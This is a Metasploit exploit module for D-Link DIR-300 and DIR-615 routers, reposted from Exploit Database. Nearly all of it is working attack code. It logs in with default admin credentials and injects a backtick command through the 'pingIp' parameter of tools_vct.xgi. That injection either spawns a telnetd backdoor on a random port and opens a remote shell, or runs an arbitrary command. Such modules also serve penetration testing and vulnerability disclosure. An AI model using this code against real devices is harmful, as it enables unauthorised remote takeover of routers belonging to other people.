D-Link Devices – ‘tools_vct.xgi’ Remote Command Execution (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2013-08-08
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/27428/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CommandShell
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'D-Link Devices Unauthenticated Remote Command Execution',
  'Description' => %q{
  Different D-Link Routers are vulnerable to OS command injection via the web
  interface. The vulnerability exists in tools_vct.xgi, which is accessible with
  credentials. This module has been tested with the versions DIR-300 rev A v1.05
  and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd
  service and establish a session over it, the second one runs commands via the CMD
  target. There is no wget or tftp client to upload an elf backdoor easily. According
  to the vulnerability discoverer, more D-Link devices may affected.
  },
  'Author'=>
  [
  'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
  'juan vazquez' # minor help with msf module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  [ 'OSVDB', '92698' ],
  [ 'EDB', '25024' ],
  [ 'BID', '59405' ],
  [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
  ],
  'DisclosureDate' => 'Apr 22 2013',
  'Privileged' => true,
  'Platform' => ['linux','unix'],
  'Payload'=>
  {
  'DisableNops' => true,
  },
  'Targets'=>
  [
  [ 'CMD',#all devices
  {
  'Arch' => ARCH_CMD,
  'Platform' => 'unix'
  }
  ],
  [ 'Telnet',#all devices - default target
  {
  'Arch' => ARCH_CMD,
  'Platform' => 'unix'
  }
  ],
  ],
  'DefaultTarget'=> 1
  ))
  
  register_options(
  [
  OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
  OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),
  
  ], self.class)
  end
  
  def exploit
  user = datastore['USERNAME']
  
  if datastore['PASSWORD'].nil?
  pass = ""
  else
  pass = datastore['PASSWORD']
  end
  
  test_login(user, pass)
  
  if target.name =~ /CMD/
  exploit_cmd
  else
  exploit_telnet
  end
  end
  
  def test_login(user, pass)
  print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
  
  login_path = "/login.php"
  
  #valid login response includes the following
  login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"
  
  begin
  res = send_request_cgi({
  'uri' => login_path,
  'method' => 'POST',
  'vars_post' => {
  "ACTION_POST" => "LOGIN",
  "LOGIN_USER" => "#{user}",
  "LOGIN_PASSWD" => "#{pass}",
  "login" => "+Log+In+"
  }
  })
  if res.nil?
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
  end
  if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
  end
  if (res.code == 404)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
  end
  
  if (res.body) =~ /#{login_check}/
  print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
  else
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  
  rescue ::Rex::ConnectionError
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
  end
  end
  
  def exploit_cmd
  if not (datastore['CMD'])
  fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
  end
  res = request(payload.encoded)
  if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
  end
  
  print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")
  return
  end
  
  def exploit_telnet
  telnetport = rand(65535)
  
  vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
  
  cmd = "telnetd -p #{telnetport}"
  
  #starting the telnetd gives no response
  request(cmd)
  
  begin
  sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
  
  if sock
  print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
  add_socket(sock)
  else
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
  end
  
  print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
  auth_info = {
  :host => rhost,
  :port => telnetport,
  :sname => 'telnet',
  :user => "",
  :pass=> "",
  :source_type => "exploit",
  :active => true
  }
  report_auth_info(auth_info)
  merge_me = {
  'USERPASS_FILE' => nil,
  'USER_FILE' => nil,
  'PASS_FILE' => nil,
  'USERNAME'=> nil,
  'PASSWORD'=> nil
  }
  start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
  rescue
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
  end
  return
  end
  
  def request(cmd)
  
  uri = '/tools_vct.xgi'
  
  begin
  res = send_request_cgi({
  'uri'=> uri,
  'vars_get'=> {
  'set/runtime/switch/getlinktype' => "1",
  'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
  'pingIP' => ""
  },
  'method' => 'GET',
  })
  return res
  rescue ::Rex::ConnectionError
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
  end
  end
  end